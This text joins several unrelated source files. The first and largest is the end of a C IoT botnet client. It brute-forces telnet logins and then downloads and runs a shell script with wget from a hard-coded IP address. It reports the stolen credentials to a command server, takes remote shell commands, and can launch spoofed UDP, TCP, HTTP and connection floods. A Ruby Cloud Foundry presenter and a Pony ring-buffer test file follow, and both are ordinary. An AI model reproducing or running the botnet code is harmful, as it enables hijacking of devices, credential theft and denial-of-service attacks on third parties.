time(NULL)) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } } break; case 3: { if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } fds[i].state = 4; } break; case 4: { if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5; else fds[i].state = 100; memset(fds[i].sockbuf, 0, 1024); continue; } else { if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; } fds[i].bufUsed = strlen(fds[i].sockbuf); } if(fds[i].totalTimeout + 8 < time(NULL)) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } } break; case 5: { if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].complete = 1; continue; } fds[i].state = 6; } break; case 6: { if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].complete = 0; continue; } if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } else fds[i].state = 7; memset(fds[i].sockbuf, 0, 1024); continue; } else { fds[i].bufUsed = strlen(fds[i].sockbuf); } if(fds[i].totalTimeout + 8 < time(NULL)) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } } break; case 7: { if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } fds[i].state = 8; } break; case 8: { if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.34.99.38/gtop.sh; chmod 777 *; sh gtop.sh; rm -rf gtop.sh\r\n", 135, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } fds[i].state = 9; } break; case 9: { if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); if(readUntil(fds[i].fd, "#", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); send(fds[i].fd, "/bin/busybox;shell\r\n", 20, MSG_NOSIGNAL); fds[i].state = 10; memset(fds[i].sockbuf, 0, 1024); continue; } else if(readUntil(fds[i].fd, ">", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); send(fds[i].fd, "/bin/busybox;shell\r\n", 20, MSG_NOSIGNAL); fds[i].state = 10; memset(fds[i].sockbuf, 0, 1024); continue; } else if(readUntil(fds[i].fd, "$", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); send(fds[i].fd, "/bin/busybox;shell\r\n", 20, MSG_NOSIGNAL); fds[i].state = 10; memset(fds[i].sockbuf, 0, 1024); continue; } else if(readUntil(fds[i].fd, ":", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) { fds[i].totalTimeout = 0; fds[i].bufUsed = 0; sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); send(fds[i].fd, "/bin/busybox;shell\r\n", 20, MSG_NOSIGNAL); fds[i].state = 10; memset(fds[i].sockbuf, 0, 1024); continue; } else { fds[i].state = 10; } } break; case 10: { if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.34.99.38/gtop.sh; chmod 777 *; sh gtop.sh; rm -rf bins.sh\r\n", 135, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; } break; } } } } void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) { int socket, i, end = time(NULL) + timeEnd, sendIP = 0; char request[512], buffer[1]; for (i = 0; i < power; i++) { sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 36)]); if (fork()) { while (end > time(NULL)) { socket = socket_connect(host, port); if (socket != 0) { write(socket, request, strlen(request)); read(socket, buffer, 1); close(socket); } } exit(0); } } } void sendCNC(unsigned char *ip,int port, int end_time) { int end = time(NULL) + end_time; int sockfd; struct sockaddr_in server; //sockfd = socket(AF_INET, SOCK_STREAM, 0); server.sin_addr.s_addr = inet_addr(ip); server.sin_family = AF_INET; server.sin_port = htons(port); while(end > time(NULL)) { sockfd = socket(AF_INET, SOCK_STREAM, 0); connect(sockfd , (struct sockaddr *)&server , sizeof(server)); sleep(1); close(sockfd); } } // ___ ___ ___ _ _ // /\ /\ / \/ _ \ / __\ | ___ ___ __| | // / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` | // \ \_/ / /_// ___/ / / | | (_) | (_) | (_| | // \___/___,'\/ \/ |_|\___/ \___/ \__,_| void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval) { struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET; if(port == 0) dest_addr.sin_port = rand_cmwc(); else dest_addr.sin_port = htons(port); if(getHost(target, &dest_addr.sin_addr)) return; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); register unsigned int pollRegister; pollRegister = pollinterval; if(spoofit == 32) { int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(!sockfd) { sockprintf(mainCommSock, "Failed opening raw socket."); return; } unsigned char *buf = (unsigned char *)malloc(packetsize + 1); if(buf == NULL) return; memset(buf, 0, packetsize + 1); makeRandomStr(buf, packetsize); int end = time(NULL) + timeEnd; register unsigned int i = 0; while(1) { sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); if(i == pollRegister) { if(port == 0) dest_addr.sin_port = rand_cmwc(); if(time(NULL) > end) break; i = 0; continue; } i++; } } else { int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if(!sockfd) { sockprintf(mainCommSock, "Failed opening raw socket."); //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); return; } int tmp = 1; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { sockprintf(mainCommSock, "Failed setting raw headers mode."); return; } int counter = 50; while(counter--) { srand(time(NULL) ^ rand_cmwc()); init_rand(rand()); } in_addr_t netmask; if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); else netmask = ( ~((1 << (32 - spoofit)) - 1) ); unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize]; struct iphdr *iph = (struct iphdr *)packet; struct udphdr *udph = (void *)iph + sizeof(struct iphdr); makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize); udph->len = htons(sizeof(struct udphdr) + packetsize); udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); udph->check = 0; makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize); iph->check = csum ((unsigned short *) packet, iph->tot_len); int end = time(NULL) + timeEnd; register unsigned int i = 0; while(1) { sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); iph->id = rand_cmwc(); iph->saddr = htonl( getRandomIP(netmask) ); iph->check = csum ((unsigned short *) packet, iph->tot_len); if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; } i++; } } } // _____ ___ ___ ___ _ _ // /__ \/ __\ / _ \ / __\ | ___ ___ __| | // / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` | // / / / /___/ ___/ / / | | (_) | (_) | (_| | // \/ \____/\/ \/ |_|\___/ \___/ \__,_| void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) { register unsigned int pollRegister; pollRegister = pollinterval; struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET; if(port == 0) dest_addr.sin_port = rand_cmwc(); else dest_addr.sin_port = htons(port); if(getHost(target, &dest_addr.sin_addr)) return; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(!sockfd) { sockprintf(mainCommSock, "Failed opening raw socket."); return; } int tmp = 1; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { sockprintf(mainCommSock, "Failed setting raw headers mode."); return; } in_addr_t netmask; if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); else netmask = ( ~((1 << (32 - spoofit)) - 1) ); unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize]; struct iphdr *iph = (struct iphdr *)packet; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize); tcph->source = rand_cmwc(); tcph->seq = rand_cmwc(); tcph->ack_seq = 0; tcph->doff = 5; if(!strcmp(flags, "all")) { tcph->syn = 1; tcph->rst = 1; tcph->fin = 1; tcph->ack = 1; tcph->psh = 1; } else { unsigned char *pch = strtok(flags, ","); while(pch) { if(!strcmp(pch, "syn")) { tcph->syn = 1; } else if(!strcmp(pch, "rst")) { tcph->rst = 1; } else if(!strcmp(pch, "fin")) { tcph->fin = 1; } else if(!strcmp(pch, "ack")) { tcph->ack = 1; } else if(!strcmp(pch, "psh")) { tcph->psh = 1; } else { sockprintf(mainCommSock, "Invalid flag \"%s\"", pch); } pch = strtok(NULL, ","); } } tcph->window = rand_cmwc(); tcph->check = 0; tcph->urg_ptr = 0; tcph->dest = (port == 0 ? rand_cmwc() : htons(port)); tcph->check = tcpcsum(iph, tcph); iph->check = csum ((unsigned short *) packet, iph->tot_len); int end = time(NULL) + timeEnd; register unsigned int i = 0; while(1) { sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); iph->saddr = htonl( getRandomIP(netmask) ); iph->id = rand_cmwc(); tcph->seq = rand_cmwc(); tcph->source = rand_cmwc(); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); iph->check = csum ((unsigned short *) packet, iph->tot_len); if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; } i++; } } // __ __ ___ _ _ // \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| | // \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` | // /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| | // \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_| void sendJUNK(unsigned char *ip, int port, int end_time) { int max = getdtablesize() / 2, i; struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(port); if(getHost(ip, &dest_addr.sin_addr)) return; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); struct state_t { int fd; uint8_t state; } fds[max]; memset(fds, 0, max * (sizeof(int) + 1)); fd_set myset; struct timeval tv; socklen_t lon; int valopt, res; unsigned char *watwat = malloc(1024); memset(watwat, 0, 1024); int end = time(NULL) + end_time; while(end > time(NULL)) { for(i = 0; i < max; i++) { switch(fds[i].state) { case 0: { fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd); else fds[i].state = 1; } break; case 1: { FD_ZERO(&myset); FD_SET(fds[i].fd, &myset); tv.tv_sec = 0; tv.tv_usec = 10000; res = select(fds[i].fd+1, NULL, &myset, NULL, &tv); if(res == 1) { lon = sizeof(int); getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if(valopt) { close(fds[i].fd); fds[i].state = 0; } else { fds[i].state = 2; } } else if(res == -1) { close(fds[i].fd); fds[i].state = 0; } } break; case 2: { makeRandomStr(watwat, 1024); if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN) { close(fds[i].fd); fds[i].state = 0; } } break; } } } } // _ _ ___ _ _ // /\ /\___ | | __| | / __\ | ___ ___ __| | // / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` | // / __ / (_) | | (_| | / / | | (_) | (_) | (_| | // \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_| void sendHOLD(unsigned char *ip, int port, int end_time) { int max = getdtablesize() / 2, i; struct sockaddr_in dest_addr; dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(port); if(getHost(ip, &dest_addr.sin_addr)) return; memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); struct state_t { int fd; uint8_t state; } fds[max]; memset(fds, 0, max * (sizeof(int) + 1)); fd_set myset; struct timeval tv; socklen_t lon; int valopt, res; unsigned char *watwat = malloc(1024); memset(watwat, 0, 1024); int end = time(NULL) + end_time; while(end > time(NULL)) { for(i = 0; i < max; i++) { switch(fds[i].state) { case 0: { fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd); else fds[i].state = 1; } break; case 1: { FD_ZERO(&myset); FD_SET(fds[i].fd, &myset); tv.tv_sec = 0; tv.tv_usec = 10000; res = select(fds[i].fd+1, NULL, &myset, NULL, &tv); if(res == 1) { lon = sizeof(int); getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if(valopt) { close(fds[i].fd); fds[i].state = 0; } else { fds[i].state = 2; } } else if(res == -1) { close(fds[i].fd); fds[i].state = 0; } } break; case 2: { FD_ZERO(&myset); FD_SET(fds[i].fd, &myset); tv.tv_sec = 0; tv.tv_usec = 10000; res = select(fds[i].fd+1, NULL, NULL, &myset, &tv); if(res != 0) { close(fds[i].fd); fds[i].state = 0; } } break; } } } } // _____ __ ___ _ // \_ \/__\ / __\ /\/\ __ _(_)_ __ // / /\/ \// / / / \ / _` | | '_ \ // /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | | // \____/\/ \_/\____/ \/ \/\__,_|_|_| |_| void processCmd(int argc, unsigned char *argv[]) { int x; if(!strcmp(argv[0], "PING")) { sockprintf(mainCommSock, "PONG!"); return; } if(!strcmp(argv[0], "GETLOCALIP")) { sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP)); return; } if(!strcmp(argv[0], "SCANNER")) { if(argc != 2) { sockprintf(mainCommSock, "SCANNER ON | OFF"); return; } if(!strcmp(argv[1], "OFF")) { if(scanPid == 0) return; kill(scanPid, 9); scanPid = 0; } if(!strcmp(argv[1], "ON")) { if(scanPid != 0) return; uint32_t parent; parent = fork(); printf("FORK\n"); if (parent > 0) { scanPid = parent; return;} else if(parent == -1) return; StartTheLelz(1); _exit(0); } } if(!strcmp(argv[0], "CNC")) { if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) { return; } unsigned char *ip = argv[1]; int port = atoi(argv[2]); int time = atoi(argv[3]); if(strstr(ip, ",") != NULL) { unsigned char *hi = strtok(ip, ","); while(hi != NULL) { if(!listFork()) { sendCNC(hi, port, time); close(mainCommSock); _exit(0); } hi = strtok(NULL, ","); } } else { if (listFork()) { return; } sendCNC(ip, port, time); _exit(0); } } if (!strcmp(argv[0], "HTTPFLOOD")) { if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return; if (listFork()) return; sockprintf(mainCommSock, "HTTP %s Flooding %s:%d for %d seconds", argv[1], argv[2], atoi(argv[3]), atoi(argv[5])); sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6])); exit(0); } if(!strcmp(argv[0], "HOLD")) { if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) { //sockprintf(mainCommSock, "HOLD <ip> <port> <time>"); return; } unsigned char *ip = argv[1]; int port = atoi(argv[2]); int time = atoi(argv[3]); if(strstr(ip, ",") != NULL) { unsigned char *hi = strtok(ip, ","); while(hi != NULL) { if(!listFork()) { sendHOLD(hi, port, time); _exit(0); } hi = strtok(NULL, ","); } } else { if (listFork()) { return; } sendHOLD(ip, port, time); _exit(0); } } if(!strcmp(argv[0], "JUNK")) { if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) { //sockprintf(mainCommSock, "JUNK <ip> <port> <time>"); return; } unsigned char *ip = argv[1]; int port = atoi(argv[2]); int time = atoi(argv[3]); if(strstr(ip, ",") != NULL) { unsigned char *hi = strtok(ip, ","); while(hi != NULL) { if(!listFork()) { sendJUNK(hi, port, time); close(mainCommSock); _exit(0); } hi = strtok(NULL, ","); } } else { if (listFork()) { return; } sendJUNK(ip, port, time); _exit(0); } } if(!strcmp(argv[0], "UDP")) { if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) { //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)"); return; } unsigned char *ip = argv[1]; int port = atoi(argv[2]); int time = atoi(argv[3]); int spoofed = atoi(argv[4]); int packetsize = atoi(argv[5]); int pollinterval = (argc == 7 ? atoi(argv[6]) : 10); if(strstr(ip, ",") != NULL) { unsigned char *hi = strtok(ip, ","); while(hi != NULL) { if(!listFork()) { sendUDP(hi, port, time, spoofed, packetsize, pollinterval); _exit(0); } hi = strtok(NULL, ","); } } else { if (listFork()) { return; } sendUDP(ip, port, time, spoofed, packetsize, pollinterval); _exit(0); } } if(!strcmp(argv[0], "TCP")) { if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) { //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)"); return; } unsigned char *ip = argv[1]; int port = atoi(argv[2]); int time = atoi(argv[3]); int spoofed = atoi(argv[4]); unsigned char *flags = argv[5]; int pollinterval = argc == 8 ? atoi(argv[7]) : 10; int psize = argc > 6 ? atoi(argv[6]) : 0; if(strstr(ip, ",") != NULL) { unsigned char *hi = strtok(ip, ","); while(hi != NULL) { if(!listFork()) { sendTCP(hi, port, time, spoofed, flags, psize, pollinterval); _exit(0); } hi = strtok(NULL, ","); } } else { if (listFork()) { return; } sendTCP(ip, port, time, spoofed, flags, psize, pollinterval); _exit(0); } } if(!strcmp(argv[0], "KILLATTK")) { int killed = 0; unsigned long i; for (i = 0; i < numpids; i++) { if (pids[i] != 0 && pids[i] != getpid()) { kill(pids[i], 9); killed++; } } if(killed > 0) { sockprintf(mainCommSock, "Killed %d.", killed); } else { sockprintf(mainCommSock, "None Killed."); } } if(!strcmp(argv[0], "LOLNOGTFO")) { exit(0); } } int initConnection() { unsigned char server[4096]; memset(server, 0, 4096); if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0; else currentServer++; strcpy(server, commServer[currentServer]); int port = 23; if(strchr(server, ':') != NULL) { port = atoi(strchr(server, ':') + 1); *((unsigned char *)(strchr(server, ':'))) = 0x0; } mainCommSock = socket(AF_INET, SOCK_STREAM, 0); if(!connectTimeout(mainCommSock, server, port, 30)) return 1; return 0; } int getOurIP() { int sock = socket(AF_INET, SOCK_DGRAM, 0); if(sock == -1) return 0; struct sockaddr_in serv; memset(&serv, 0, sizeof(serv)); serv.sin_family = AF_INET; serv.sin_addr.s_addr = inet_addr("8.8.8.8"); serv.sin_port = htons(53); int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv)); if(err == -1) return 0; struct sockaddr_in name; socklen_t namelen = sizeof(name); err = getsockname(sock, (struct sockaddr*) &name, &namelen); if(err == -1) return 0; ourIP.s_addr = name.sin_addr.s_addr; int cmdline = open("/proc/net/route", O_RDONLY); char linebuf[4096]; while(fdgets(linebuf, 4096, cmdline) != NULL) { if(strstr(linebuf, "\t00000000\t") != NULL) { unsigned char *pos = linebuf; while(*pos != '\t') pos++; *pos = 0; break; } memset(linebuf, 0, 4096); } close(cmdline); if(*linebuf) { int i; struct ifreq ifr; strcpy(ifr.ifr_name, linebuf); ioctl(sock, SIOCGIFHWADDR, &ifr); for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i]; } close(sock); } int main(int argc, unsigned char *argv[]) { char *mynameis = ""; if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED argv[0] = ""; prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0); srand(time(NULL) ^ getpid()); init_rand(time(NULL) ^ getpid()); pid_t pid1; pid_t pid2; int status; getOurIP(); if (pid1 = fork()) { waitpid(pid1, &status, 0); exit(0); } else if (!pid1) { if (pid2 = fork()) { exit(0); } else if (!pid2) { } else { zprintf("fork failed\n"); } } else { zprintf("fork failed\n"); } setsid(); chdir("/"); signal(SIGPIPE, SIG_IGN); while(1) { if(initConnection()) { printf("FAILED TO CONNECT\n"); sleep(5); continue; } char commBuf[4096]; int got = 0; int i = 0; while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) { for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) { unsigned int *newpids, on; for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on]; pids[on - 1] = 0; numpids--; newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int)); for (on = 0; on < numpids; on++) newpids[on] = pids[on]; free(pids); pids = newpids; } commBuf[got] = 0x00; trim(commBuf); if(strstr(commBuf, "PING") == commBuf) { sockprintf(mainCommSock, "PONG"); continue; } if(strstr(commBuf, "DUP") == commBuf) exit(0); unsigned char *message = commBuf; if(*message == '!') { unsigned char *nickMask = message + 1; while(*nickMask != ' ' && *nickMask != 0x00) nickMask++; if(*nickMask == 0x00) continue; *(nickMask) = 0x00; nickMask = message + 1; message = message + strlen(nickMask) + 2; while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00; unsigned char *command = message; while(*message != ' ' && *message != 0x00) message++; *message = 0x00; message++; unsigned char *tmpcommand = command; while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; } if(strcmp(command, "SH") == 0) { unsigned char buf[1024]; int command; if (listFork()) continue; memset(buf, 0, 1024); szprintf(buf, "%s 2>&1", message); command = fdpopen(buf, "r"); while(fdgets(buf, 1024, command) != NULL) { trim(buf); // sockprintf(mainCommSock, "%s", buf); memset(buf, 0, 1024); sleep(1); } fdpclose(command); exit(0); } unsigned char *params[10]; int paramsCount = 1; unsigned char *pch = strtok(message, " "); params[0] = command; while(pch) { if(*pch != '\n') { params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1); memset(params[paramsCount], 0, strlen(pch) + 1); strcpy(params[paramsCount], pch); paramsCount++; } pch = strtok(NULL, " "); } processCmd(paramsCount, params); if(paramsCount > 1) { int q = 1; for(q = 1; q < paramsCount; q++) { free(params[q]); } } } } printf("LINK CLOSED\n"); } return 0; };
{ "pile_set_name": "Github" }
require 'presenters/v3/base_presenter' require 'presenters/mixins/metadata_presentation_helpers' module VCAP::CloudController module Presenters module V3 class RevisionPresenter < BasePresenter include VCAP::CloudController::Presenters::Mixins::MetadataPresentationHelpers def to_hash { guid: revision.guid, version: revision.version, droplet: { guid: revision.droplet_guid, }, processes: processes, sidecars: sidecars, description: revision.description, relationships: { app: { data: { guid: revision.app_guid, }, }, }, created_at: revision.created_at, updated_at: revision.updated_at, links: build_links, metadata: { labels: hashified_labels(revision.labels), annotations: hashified_annotations(revision.annotations), }, deployable: deployable } end private def revision @resource end def build_links { self: { href: url_builder.build_url(path: "/v3/revisions/#{revision.guid}") }, app: { href: url_builder.build_url(path: "/v3/apps/#{revision.app_guid}") }, environment_variables: { href: url_builder.build_url(path: "/v3/revisions/#{revision.guid}/environment_variables") } } end def processes revision.commands_by_process_type.map { |k, v| [k, { 'command' => v }] }.to_h end def sidecars revision.sidecars.map do |sidecar| { name: sidecar.name, command: sidecar.command, memory_in_mb: sidecar.memory, process_types: sidecar.revision_sidecar_process_types.map(&:type), } end end def deployable !revision.droplet.nil? && revision.droplet.staged? end end end end end
{ "pile_set_name": "Github" }
/* Copyright 2017 The Wallaroo Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ use "collections" use "ponytest" actor Main is TestList new create(env: Env) => PonyTest(env, this) new make() => None fun tag tests(test: PonyTest) => test(_TestRing) test(_TestClone) test(_TestFromArray) test(_TestToArray) test(_TestString) test(_TestKeys) test(_TestValues) test(_TestPairs) class iso _TestRing is UnitTest fun name(): String => "ring/Ring" fun apply(h: TestHelper) ? => let size: USize = 5 let ring = Ring[U64](size) for x in Range[U64](0,3) do ring.push(x) end h.assert_eq[USize](3, ring.size()) h.assert_eq[USize](3, ring.count()) h.assert_eq[U64](2, ring(0)?) h.assert_eq[U64](1, ring(1)?) h.assert_eq[U64](0, ring(2)?) let large_ring = Ring[U64](size) for x in Range[U64](0, 4) do large_ring.push(x) end h.assert_eq[U64](3, large_ring(0)?) h.assert_eq[U64](2, large_ring(1)?) h.assert_eq[U64](1, large_ring(2)?) h.assert_eq[U64](0, large_ring(3)?) large_ring.push(4) h.assert_eq[U64](4, large_ring(0)?) h.assert_eq[U64](3, large_ring(1)?) h.assert_eq[U64](2, large_ring(2)?) h.assert_eq[U64](1, large_ring(3)?) large_ring.push(5) large_ring.push(6) large_ring.push(7) large_ring.push(8) h.assert_eq[U64](8, large_ring(0)?) h.assert_eq[U64](7, large_ring(1)?) h.assert_eq[U64](6, large_ring(2)?) h.assert_eq[U64](5, large_ring(3)?) large_ring.push(9) h.assert_eq[USize](size, large_ring.size()) h.assert_eq[USize](10, large_ring.count()) h.assert_eq[U64](9, large_ring(0)?) h.assert_eq[U64](8, large_ring(1)?) h.assert_eq[U64](7, large_ring(2)?) h.assert_eq[U64](6, large_ring(3)?) h.assert_eq[U64](5, large_ring(4)?) class iso _TestClone is UnitTest fun name(): String => "ring/Clone" fun apply(h: TestHelper) ? => let r = Ring[U64](4) for x in Range[U64](0,5) do r.push(x) end let r' = r.clone() for x in Range[USize](0,4) do h.assert_eq[U64](r(x)?, r'(x)?) end class iso _TestFromArray is UnitTest fun name(): String => "ring/FromArray" fun apply(h: TestHelper) ? => let array: Array[U64] iso = recover [5; 6; 7; 8] end let size: USize = 4 let count: USize = 8 let ring = Ring[U64].from_array(consume array, size, count) h.assert_eq[USize](count, ring.count()) h.assert_eq[USize](size, ring.size()) h.assert_eq[U64](8, ring(0)?) h.assert_eq[U64](7, ring(1)?) h.assert_eq[U64](6, ring(2)?) h.assert_eq[U64](5, ring(3)?) 